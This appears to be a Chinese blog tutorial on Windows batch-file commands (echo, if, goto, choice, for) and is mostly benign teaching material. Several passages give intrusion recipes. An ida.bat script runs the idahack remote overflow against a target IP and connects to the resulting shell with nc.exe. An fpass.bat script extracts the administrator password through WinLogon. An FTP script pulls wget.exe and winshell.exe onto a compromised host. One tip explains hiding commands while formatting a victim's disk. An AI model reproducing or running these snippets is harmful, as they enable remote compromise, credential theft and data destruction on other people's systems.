zoukankan      html  css  js  c++  java
  • bat文件常用命令

    d:
    cd\pressTest
    del a.txt
    for /l %%i in (1 1 10) do >>a.txt ab.exe -n 1000 -c 20 -t 60 -C "memberName=sunjm@cjtc.net.cn"  http://shipmanagement.cjonline.net.cn/prelogin.do
    pause

    上面是循环10次,将每次的结果追加到a.txt中,执行的命令式ab.exe。

    1、for循环的简单实例

    http://bbs.51cto.com/thread-542048-1.html

    bat  批处理文件,在MS-DOS中,.bat文件是可执行文件,有一系列命令构成,其中可以包含对其他程序的调用。
      首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
      其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。
      第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。
      第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:
      @ECHO OFF
      PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
      LH SMARTDRV.EXE /X
      LH DOSKEY.COM /INSERT
      LH CTMOUSE.EXE
      SET TEMP=D:\TEMP
      SET TMP=D:\TEMP
      批处理的作用
      简单的说,批处理的作用就是自动的连续执行多条命令。
      这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):
      C:\>cd wps
      C:\WPS>spdos
      C:\WPS>py
      C:\WPS>wbx
      C:\WPS>wps
      如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?
      好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:
      @echo off
      c:
      cd\wps
      spdos
      py
      wbx
      wps
      cd\
      以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。
      常用命令
      echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
      echo 表示显示此命令后的字符
      echo off 表示在此语句后所有运行的命令都不显示命令行本身
      @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
      call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
      pause 运行此句会暂停批处理的执行并在屏幕上显示“Press any key to continue...”或“请按任意键继续。。。”的提示,等待用户按任意键后继续。
      rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
      例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。
      批处理文件的内容为: 命令注释:
      @echo off 不显示后续命令行及当前命令行
      dir c:\*.* >a.txt 将c盘文件列表写入a.txt
      call c:\ucdos\ucdos.bat 调用ucdos
      echo 你好 显示"你好"
      pause 暂停,等待按键继续
      rem 准备运行wps 注释:准备运行wps
      cd ucdos 进入ucdos目录
      wps 运行wps 
      批处理文件的参数
      批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。
      %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。
      例2:C:根目录下有一批处理文件名为f.bat,内容为:
      @echo off
      format %1
      如果执行C:\>f a:
      那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
      例3:C:根目录下一批处理文件名为t.bat,内容为:
      @echo off
      type %1
      type %2
      那么运行C:\>t a.txt b.txt
      %1 : 表示a.txt
      %2 : 表示b.txt
      于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
      特殊命令
      if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
      一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
      1、if [not] "参数" == "字符串" 待执行的命令
      参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。
      例:if "%1"=="a" format a:
      2、if [not] exist [路径\]文件名 待执行的命令
      如果有指定的文件,则条件成立,运行命令,否则运行下一句。
      如: if exist c:\config.sys type c:\config.sys
      表示如果存在c:\config.sys文件,则显示它的内容。
      3、if errorlevel <数字> 待执行的命令
      很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。
      如if errorlevel 2 goto x2
      二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。
      如:
      goto end
      :end
      echo this is the end
      标号用“:字符串”来定义,标号所在行不被执行。
      三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
      注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
      choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):
      CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
      描述:
      该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
      参数列表:
      /C choices 指定要创建的选项列表。默认列表是 "YN"。
      /N 在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。
      /CS 允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。
      /T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项
      会得到选择。
      /D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。
      /M text 指定提示之前要显示的消息。如果没有指定,工具只显示提示。
      /? 显示帮助消息。
      注意:
      ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。
      示例:
      CHOICE /?
      CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
      CHOICE /T 10 /C ync /CS /D y
      CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
      CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
      如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
      屏幕上会显示:
      确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
      例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
      @echo off
      choice /C dme /M "defrag,mem,end"
      if errorlevel 3 goto end
      if errorlevel 2 goto mem
      if errotlevel 1 goto defrag
      :defrag
      c:\dos\defrag
      goto end
      :mem
      mem
      goto end
      :end
      echo good bye
      此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。
      四、for 循环命令,只要条件符合,它将多次执行同一命令。
      语法:
      对一组文件中的每一个文件执行某个特定命令。
      FOR %%variable IN (set) DO command [command-parameters]
      %%variable 指定一个单一字母可替换的参数。
      (set) 指定一个或一组文件。可以使用通配符。
      command 指定对每个文件执行的命令。
      command-parameters 为特定命令指定参数或命令行开关。
      例如一个批处理文件中有一行:
      for %%c in (*.bat *.txt) do type %%c
      则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
      批处理示例
      1. IF-EXIST
      1)
      首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
      @echo off
      IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
      IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
      然后运行它:
      C:\>TEST1.BAT
      如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。
      2)
      接着再建立一个test2.bat文件,内容如下:
      @ECHO OFF
      IF EXIST \%1 TYPE \%1
      IF NOT EXIST \%1 ECHO \%1 does not exist
      执行:
      C:\>TEST2 AUTOEXEC.BAT
      该命令运行结果同上。
      说明:
      (1) IF EXIST 是用来测试文件是否存在的,格式为
      IF EXIST [路径+文件名] 命令
      (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。
      3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
      @echo off
      IF "%1" == "A" ECHO XIAO
      IF "%2" == "B" ECHO TIAN
      IF "%3" == "C" ECHO XIN
      如果运行:
      C:\>TEST3 A B C
      屏幕上会显示:
      XIAO
      TIAN
      XIN
      如果运行:
      C:\>TEST3 A B
      屏幕上会显示
      XIAO
      TIAN
      在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。
      2、IF-ERRORLEVEL
      建立TEST4.BAT,内容如下:
      @ECHO OFF
      XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
      IF ERRORLEVEL 0 ECHO 成功拷贝文件
      然后执行文件:
      C:\>TEST4
      如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。
      IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:
      @ECHO OFF
      XCOPY C:\AUTOEXEC.BAT D:\
      IF ERRORLEVEL 0 ECHO 成功拷贝文件
      IF ERRORLEVEL 1 ECHO 未找到拷贝文件
      IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
      IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
      IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
      无论拷贝是否成功,后面的:
      未找到拷贝文件
      用户通过ctrl-c中止拷贝操作
      预置错误阻止文件拷贝操作
      拷贝过程中写盘错误
      都将显示出来。
      以下就是几个常用命令的返回值及其代表的意义:
      backup
      0 备份成功
      1 未找到备份文件
      2 文件共享冲突阻止备份完成
      3 用户用ctrl-c中止备份
      4 由于致命的错误使备份操作中止
      diskcomp
      0 盘比较相同
      1 盘比较不同
      2 用户通过ctrl-c中止比较操作
      3 由于致命的错误使比较操作中止
      4 预置错误中止比较
      diskcopy
      0 盘拷贝操作成功
      1 非致命盘读/写错
      2 用户通过ctrl-c结束拷贝操作
      3 因致命的处理错误使盘拷贝中止
      4 预置错误阻止拷贝操作
      format
      0 格式化成功
      3 用户通过ctrl-c中止格式化处理
      4 因致命的处理错误使格式化中止
      5 在提示“proceed with format(y/n)?”下用户键入n结束
      xcopy
      0 成功拷贝文件
      1 未找到拷贝文件
      2 用户通过ctrl-c中止拷贝操作
      4 预置错误阻止文件拷贝操作
      5 拷贝过程中写盘错误
      3、IF STRING1 == STRING2
      建立TEST5.BAT,文件内容如下:
      @echo off
      IF "%1" == "A" formAT A:
      执行:
      C:\>TEST5 A
      屏幕上就出现是否将A:盘格式化的内容。
      注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
      如:if [%1]==[A] 或者 if %1*==A*
      5、GOTO
      建立TEST6.BAT,文件内容如下:
      @ECHO OFF
      IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
      GOTO _DONE
      :_COPY
      COPY C:\AUTOEXEC.BAT D:\
      :_DONE
      注意:
      (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。
      (2) 标号的命名规则与文件名的命名规则相同。
      (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。
      6、FOR
      建立C:\TEST7.BAT,文件内容如下:
      @ECHO OFF
      FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
      运行:
      C:>TEST7
      执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。
      win2000命令行方式批处理BAT文件技巧
      文章结构
      1. 所有内置命令的帮助信息
      2. 环境变量的概念
      3. 内置的特殊符号(实际使用中间注意避开)
      4. 简单批处理文件概念
      5. 附件1 tmp.txt
      6. 附件2 sample.bat
      ###########################
      1. 所有内置命令的帮助信息
      ###########################
      ver
      cmd /?
      set /?
      rem /?
      if /?
      echo /?
      goto /?
      for /?
      shift /?
      call /?
      其他需要的常用命令
      type /?
      find /?
      findstr /?
      copy /?
      下面将所有上面的帮助输出到一个文件
      echo ver >tmp.txt
      ver >>tmp.txt
      echo cmd /? >>tmp.txt
      cmd /? >>tmp.txt
      echo rem /? >>tmp.txt
      rem /? >>tmp.txt
      echo if /? >>tmp.txt
      if /? >>tmp.txt
      echo goto /? >>tmp.txt
      goto /? >>tmp.txt
      echo for /? >>tmp.txt
      for /? >>tmp.txt
      echo shift /? >>tmp.txt
      shift /? >>tmp.txt
      echo call /? >>tmp.txt
      call /? >>tmp.txt
      echo type /? >>tmp.txt
      type /? >>tmp.txt
      echo find /? >>tmp.txt
      find /? >>tmp.txt
      echo findstr /? >>tmp.txt
      findstr /? >>tmp.txt
      echo copy /? >>tmp.txt
      copy /? >>tmp.txt
      type tmp.txt
      #############################
      2. 环境变量的概念
      #############################
      C:\Program Files>set
      ALLUSERSPROFILE=C:\Documents and Settings\All Users
      CommonProgramFiles=C:\Program Files\Common Files
      COMPUTERNAME=FIRST
      ComSpec=C:\WINNT\system32\cmd.exe
      NUMBER_OF_PROCESSORS=1
      OS=Windows_NT
      Os2LibPath=C:\WINNT\system32\os2\dll;
      Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
      PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
      PROCESSOR_ARCHITECTURE=x86
      PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
      PROCESSOR_LEVEL=6
      PROCESSOR_REVISION=0605
      ProgramFiles=C:\Program Files
      PROMPT=$P$G
      SystemDrive=C:
      SystemRoot=C:\WINNT
      TEMP=C:\WINNT\TEMP
      TMP=C:\WINNT\TEMP
      USERPROFILE=C:\Documents and Settings\Default User
      windir=C:\WINNT
      path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
      %windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
      语法: copy mychenxu.exe %windir%\system32\.
      使用点(.) 便于一目了然
      对环境变量的引用使用(英文模式,半角)双引号
      %windir% 变量
      %%windir%% 二次变量引用.
      我们常用的还有
      %temp% 临时文件目录
      %windir% 系统目录
      %errorlevel% 退出代码
      输出文件到临时文件目录里面.这样便于当前目录整洁.
      对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
      C:\>dir p*
      C:\ 的目录
      2000-09-02 11:47 2,164 PDOS.DEF
      1999-01-03 00:47 <DIR> Program Files
      1 个文件 2,164 字节
      1 个目录 1,505,997,824 可用字节
      C:\>cd pro*
      C:\Program Files>
      C:\>
      C:\>cd "Program Files"
      C:\Program Files>
      ############################################
      3. 内置的特殊符号(实际使用中间注意避开)
      ############################################
      微软里面内置了下列字符不能够在创建的文件名中间使用
      con nul aux \ / | || && ^ > < *
      You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
      (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
      To create the variable value new&name, type:
      set varname=new^&name
      To create the variable value "new&name", type:
      set varname="new&name"
      The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
      find "Pacific Rim" < trade.txt > nwtrade.txt
      IF EXIST filename. (del filename.) ELSE echo filename. missing
      > 创建一个文件
      >> 追加到一个文件后面
      @ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
      ^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
      echo 123456 ^> aaa
      echo 1231231 > bbb
      () 包含命令
      (echo aa & echo bb)
      , 和空格一样的缺省分隔符号.
      ; 注释,表示后面为注释
      : 标号作用
      | 管道操作
      & Usage:第一条命令 & 第二条命令 [& 第三条命令...]
      用这种方法可以同时执行多条命令,而不管命令是否执行成功
      dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
      && Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
      当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
      || Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
      当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
      常用语法格式
      IF [NOT] ERRORLEVEL number command para1 para2
      IF [NOT] string1==string2 command para1 para2
      IF [NOT] EXIST filename command para1 para2
      IF EXIST filename command para1 para2
      IF NOT EXIST filename command para1 para2
      IF "%1"=="" goto END
      IF "%1"=="net" goto NET
      IF NOT "%2"=="net" goto OTHER
      IF ERRORLEVEL 1 command para1 para2
      IF NOT ERRORLEVEL 1 command para1 para2
      FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
      FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
      按照字母顺序 ijklmnopq依次取参数.
      eol=c - 指一个行注释字符的结尾(就一个)
      skip=n - 指在文件开始时忽略的行数。
      delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
      ########################
      4. 简单批处理文件概念
      ########################
      echo This is test > a.txt
      type a.txt
      echo This is test 11111 >> a.txt
      type a.txt
      echo This is test 22222 > a.txt
      type a.txt
      第二个echo是追加
      第三个echo将清空a.txt 重新创建 a.txt
      netstat -n | find "3389"
      这个将要列出所有连接3389的用户的ip.
      ________________test.bat______
      @echo please care
      echo plese care 1111
      echo plese care 2222
      echo plese care 3333
      @echo please care
      @echo plese care 1111
      @echo plese care 2222
      @echo plese care 3333
      rem 不显示注释语句,本行显示
      @rem 不显示注释语句,本行不显示
      @if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
      @if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
      _____________________________
      下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
      ___________________ida.bat_____
      @rem ver 1.0
      @if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
      @if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"
      @if "%1" =="" goto USAGE
      @if NOT "%2" =="" goto SP2
      :start
      @echo Now start ...
      @ping %1
      @echo chinese win2k:1 sp1:2 sp2:3
      idahack.exe %1 80 1 99 >%temp%\_tmp
      @echo "prog exit code [%errorlevel%] idahack.exe"
      @type %temp%\_tmp
      @find "good luck :)" %temp%\_tmp
      @echo "prog exit code [%errorlevel%] find [goog luck]"
      @if NOT errorlevel 1 nc.exe %1 99
      @goto END
      :SP2
      @idahack.exe %1 80 %2 99 %temp%\_tmp
      @type %temp%\_tmp
      @find "good luck :)" %temp%\_tmp
      @if NOT errorlevel 1 nc.exe %1 99
      @goto END
      :USAGE
      @echo Example: ida.bat IP
      @echo Example: ida.bat IP (2,3)
      :END
      _____________________ida.bat__END_______
      下面我们再来第二个文件.就是得到administrator的口令.
      大多数人说得不到.其实是自己的没有输入正确的信息.
      ___________________________fpass.bat____________________________________________
      @rem ver 1.0
      @if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
      @if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"
      @echo start....
      @echo ____________________________________
      @if "%1"=="" goto USAGE
      @findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
      @echo "prog exit code [%errorlevel%] findpass.exe"
      @type %temp%\_findpass.txt
      @echo ________________________________Here__pass★★★★★★★★
      @ipconfig /all >>%temp%\_findpass.txt
      @goto END
      :USAGE
      @pulist.exe >%temp%\_pass.txt
      @findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
      @echo "Example: fpass.bat %1 %2 %3 %4 !!!"
      @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
      :END
      @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
      @echo " fpass.bat end [%errorlevel%] !"
      _________________fpass.bat___END___________________________________________________________
      还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
      依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
      echo open 210.64.x.4 3396>w
      echo read>>w
      echo read>>w
      echo cd winnt>>w
      echo binary>>w
      echo pwd >>w
      echo get wget.exe >>w
      echo get winshell.exe >>w
      echo get any.exe >>w
      echo quit >>w
      ftp -s:w
      ___________________________________________________________
      BAT语句结构
      类似于C语言,批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句)、循环结构(for语句)等。
      【 if语句(选择结构) 】
      if语句实现条件判断,包括字符串比较、存在判断、定义判断等。通过条件判断,if语句即可以实现选择功能。
      1、字符串比较
      if语句仅能够对两个字符(串)是否相同、先后顺序进行判断等。其命令格式为:
      IF [not] string1 compare-op string2 command1 [else command2]
      其中,比较操作符compare-op有以下几类:
      == - 等于
      EQU - 等于
      NEQ - 不等于
      LSS - 小于
      LEQ - 小于或等于
      GTR - 大于
      GEQ - 大于或等于
      选择开关/i则不区分字符串大小写;选择not项,则对判断结果进行逻辑非。
      字符串比较示例:
      ===============================================
      @echo off
      set str1=abcd1233
      set str2=ABCD1234
      if %str1%==%str2% (echo 字符串相同!) else (echo 字符串不相同!)
      if /i %str1% LSS %str2% (echo str1^<str2) else (echo str1^>=str2)
      echo.
      set /p choice=是否显示当前时间?(y/n)
      if /i not %choice% EQU n echo 当前时间是:%date% %time%
      pause>nul
      ===============================================
      对于最后一个if判断,当我们输入n或N时的效果是一样的,都不会显示时间。如果我们取消开关/i,则输入N时,依旧会显示时间。
      另外请注意一下几个细节:1-echo str1^<str2和echo str1^>=str2;2-echo.。
      2、存在判断
      存在判断的功能是判断文件或文件夹是否存在。其命令格式为:
      IF [NOT] EXIST filename command1 [else command2]
      ===============================================
      @echo off
      if exist %0 echo 文件%0是存在的!
      if not exist %~df0 (
      echo 文件夹%~df0不存在!
      ) else echo 文件夹%~df0存在!
      pause>nul
      ===============================================
      这里注意几个地方:
      1-存在判断既可以判断文件也可以判断文件夹;
      2-%0即代表该批处理的全称(包括驱动器盘符、路径、文件名和扩展类型);
      3-%~df0是对%0的修正,只保留了其驱动器盘符和路径,详情请参考for /?,属高级批处理范畴;
      4-注意if语句的多行书写,多行书写要求command1的左括号必须和if在同一行、else必须和command1的右括号同行、command2的左括号必须与else同行、command1和command2都可以有任意多行,即command可以是命令集。
      3、定义判断
      定义判断的功能是判断变量是否存在,即是否已被定义。其命令格式为:
      IF [not] DEFINED variable command1 [else command2]
      存在判断举例:
      ===============================================
      @echo off
      set var=111
      if defined var (echo var=%var%) else echo var尚未定义!
      set var=
      if defined var (echo var=%var%) else echo var尚未定义!
      pause>nul
      ===============================================
      对比可知,"set var="可以取消变量,收回变量所占据的内存空间。
      【 for语句(循环结构) 】
      for语句可以实现类似于C语言里面的循环结构,当然for语句的功能要更强大一点,通过不同的开关可以实现更多的功能。for语句有多个开关,不同开关将会实现不同的功能。
      1、无开关
      无开关的for语句能够对设定的范围内进行循环,是最基本的for循环语句。其命令格式为:
      FOR %%variable IN (set) DO command
      其中,%%variable是批处理程序里面的书写格式,在DOS中书写为%variable,即只有一个百分号(%);set就是需要我们设定的循环范围,类似于C语言里面的循环变量;do后面的command就是循环所执行的命令,即循环体。
      无开关for语句举例:
      ===============================================
      @echo off
      for %%i in (a,"b c",d) do echo %%i
      pause>nul
      ===============================================
      2、开关/L
      含开关/L的for语句,可以根据set里面的设置进行循环,从而实现对循环次数的直接控制。其命令格式为:
      FOR /L %%variable IN (start,step,end) DO command
      其中,start为开始计数的初始值,step为每次递增的值,end为结束值。当end小于start时,step需要设置为负数。
      含开关/L的for语句举例(创建5个文件夹):
      ===============================================
      @echo off
      for /l %%i in (1,2,10) do md %%i
      pause
      ===============================================
      上例将新建5个文件夹,文件夹名称依次为1、3、5、7、9。可以发现,%%i的结束值并非end的值10,而是不大于end的一个数。
      3、开关/F
      含开关/F的for语句具有最强大的功能,它能够对字符串进行操作,也能够对命令的返回值进行操作,还可以访问硬盘上的ASCII码文件,比如txt文档等。其命令格式为:
      FOR /F ["options"] %%variable IN (set) DO command
      其中,set为("string"、'command'、file-set)中的一个;options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一个或多个的组合。各选项的意义参见for /f。一般情况下,使用较多的是skip、tokens、delims三个选项。
      含开关/F的for语句举例:
      ===============================================
      @echo off
      echo **No Options:
      for /f %%a in ("1,2,10") do echo a=%%a
      echo **Options tokens ^& delims:
      for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c
      pause
      ===============================================
      @echo off
      echo 本文件夹里面的文件有:
      for /f "skip=5 tokens=3* delims= " %%a in ('dir') do (
      if not "%%a"=="<DIR>" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b
      )
      pause
      ===============================================
      @echo off
      echo 本文件夹里面的文件有:
      dir>c:\file.txt
      for /f "skip=5 tokens=3* delims= " %%a in (c:\file.txt) do (
      if not "%%a"=="<DIR>" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b
      )
      del c:\file.txt
      pause
      ===============================================
      对于后面的两个例子,其中options里面的delims= 是可以删除的,因为只要添加了/F开关系统就将delims的值默认为空格。
      符号字符串中的最后一个字符星号,
      那么额外的变量将在最后一个符号解析之后
      分配并接受行的保留文本。本例中也可以改为4,不过文件名中有空格的文件,只能显示空格以前部分
      同时我们也看到了,for语句的do后面的command也是可以分行的,只需要保证command的左括号和do在同一行就可以了。
      4、开关/D或/R
      含开关/D或/R的for语句是与目录或文件有关的命令,一般情况下很少使用。含开关/R的命令有时候被用于通过遍历文件夹来查找某一个文件或文件夹,故而列举此例。
      含开关/R的for语句举例(文件夹遍历):
      ===============================================
      @echo off
      setlocal enabledelayedexpansion
      FOR /R d: %%i IN (.) DO (
      set dd=%%i
      set "dd=!dd:~0,-1!"
      echo !dd!
      )
      pause
      exit
      ===============================================
      上例即可以罗列出D盘下的所有文件夹,其速度要比命令"tree d:"慢多了,不过其返回结果的实用性则远远超过了tree命令。
      一般情况下我们不推荐通过遍历文件夹来查找文件,特别是在查找某些程序(比如QQ.exe)的位置时。推荐通过reg命令查找注册表来查找QQ的路径,以保证查找效率。
      上例中也出现了几个新面孔,如setlocal、感叹号等。其中,感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%,是因为在for循环中,当一个变量被多次赋值时,%dd%所获取的仅仅是dd第一次被赋予的值;要想刷新dd的值,就必须首先通过命令"setlocal enabledelayedexpansion"来开启延迟变量开关,然后用!dd!来获取dd的值。
      for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令,这也是批处理菜鸟和批处理高手最明显的一个分水岭,一旦掌握了这套命令,那么你就离批处理达人不远了![1]

    一.简单批处理内部命令简介
    1.Echo 命令
    打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
    语法
    echo [{on│off}] [message]
    Sample:@echo off / echo hello world
    在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。


    2.@ 命令
    表示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦 。
    Sample:@echo off
    @echo Now initializing the program,please wait a minite...
    @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)


    3.Goto 命令
    指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
    语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
    Sample:
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms(如果这里的if、%1、%2就是表示变量。)
    @Rem check parameters if null show usage
    :noparms
    echo Usage: monitor.bat ServerIP PortNumber
    goto end
